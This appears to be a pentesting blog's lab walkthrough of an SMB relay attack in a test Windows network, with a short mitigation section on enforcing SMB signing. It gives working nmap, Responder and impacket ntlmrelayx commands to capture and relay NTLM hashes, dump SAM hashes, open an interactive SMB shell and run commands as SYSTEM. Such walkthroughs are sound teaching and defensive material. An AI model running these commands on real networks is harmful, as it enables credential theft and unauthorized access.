deusx:~#

Going Beyond the Firewall.

View on GitHub

SMB Relay Attack

What is SMB?

SMB stands for Server Message Block. It’s a network file sharing protocol that allows applications, clients, and servers to communicate and request services from each other over a network. SMB facilitates the sharing of files, printers, and other resources between devices on a network, typically in a Windows environment. SMB is commonly used for accessing shared files and folders on local area networks (LANs) and is an integral part of Windows networking.

What is SMB Signing

SMB signing (also known as security signatures) is a security mechanism in the SMB protocol. SMB signing means that every SMB message contains a signature that is generated by using the session key. The client puts a hash of the entire message into the signature field of the SMB header.

What is A SMB Relay Attack

An SMB relay attack is a type of cyber attack that exploits the authentication process used in the Server Message Block (SMB) protocol. In this attack, an attacker intercepts and relays SMB authentication messages between a client and a server to gain unauthorized access to network resources.

Requirements for performing an SMB relay attack

Attack Setup

In our attack scenario:

Steps to perform this attack:

SMB Relay Attack DEMO

Step 1: Scan Network for vulnerable targets

Using Nmap we can scan the entire network/subnet to discover targets with SMB signing enabled but not required.

nmap --script=smb2-security-mode.nse -p445 192.168.0.0/24 -Pn

Using the smb2-security-mode script and scanning port 445 (SMB) -p445 we scan the entire subnet to discover which machines have SMB signing not required. The -Pn switch is used to tell Nmap to not bother pinging targets before scanning.

Scan results:

2 Machines discovered do not require SMB signing 192.168.0.182 and 192.168.0.178. Now to add the IPs of the machines to a text file like targets.txt.

Step 2: Disable SMB and HTTP in the responder config file

File is located at /etc/responder/Responder.conf

Step 3: Start Responder

Start Responder on the same interface connected to your target network

sudo responder -I wlan0 -dPv

Step 4: Start ntlmrelayx to perform the SMB Relay attack

Ensure to specify the file that contains the target IPs ‘targets.txt’

sudo /usr/share/doc/python3-impacket/examples/ntlmrelayx.py -tf targets.txt -smb2support

OR

sudo impacket-ntlmrelayx -tf targets.txt -smb2support

Step 2: An Even Occurs in the Network

Now we wait for the victim to attempt to access a share. The user fcastle will try and access a share named ‘ECORP-DC’ and mistakenly type ‘ECCORP-DC’


Immediately the event occurred, Responder successfully intercepted the victim’s hash and used it to authenticate another machine on the network as a local administrator and ntlmrelay successfully dumped the local SAM hashes. These can then be cracked using hashcat or John the ripper.

Even better, we don’t even need to crack the hash to gain access to the machine, we can just perform a pass-the-hash attack to gain access.

Further Attacks

An interactive smbclient can be obtained by adding a -i switch to the ntlmrelyax syntax: sudo /usr/share/doc/python3-impacket/examples/ntlmrelayx.py -tf targets.txt -smb2support -i

OR

sudo impacket-ntlmrelayx -tf targets.txt -smb2support

An interactive SMB client shell has been started on 127.0.0.1:11000 which can then be accessed using netcat.

Commands can also be executed directly by using the -c switch. sudo /usr/share/doc/python3-impacket/examples/ntlmrelayx.py -tf targets.txt -smb2support -c 'command'

OR

sudo impacket-ntlmrelayx -tf targets.txt -smb2support -c 'command'

The command whoami was successfully executed on the target system and we are NT AUTHORITY/SYSTEM

SMB Relay Attack Mitigation

Mitigation Strategies:

To enforce SMB signing, enable the following policies in Computer Configuration > Policies > Windows Settings > Security Settings > Local Policies > Security Options:

On the client side:

On the server side:

source

Thanks for Reading 👋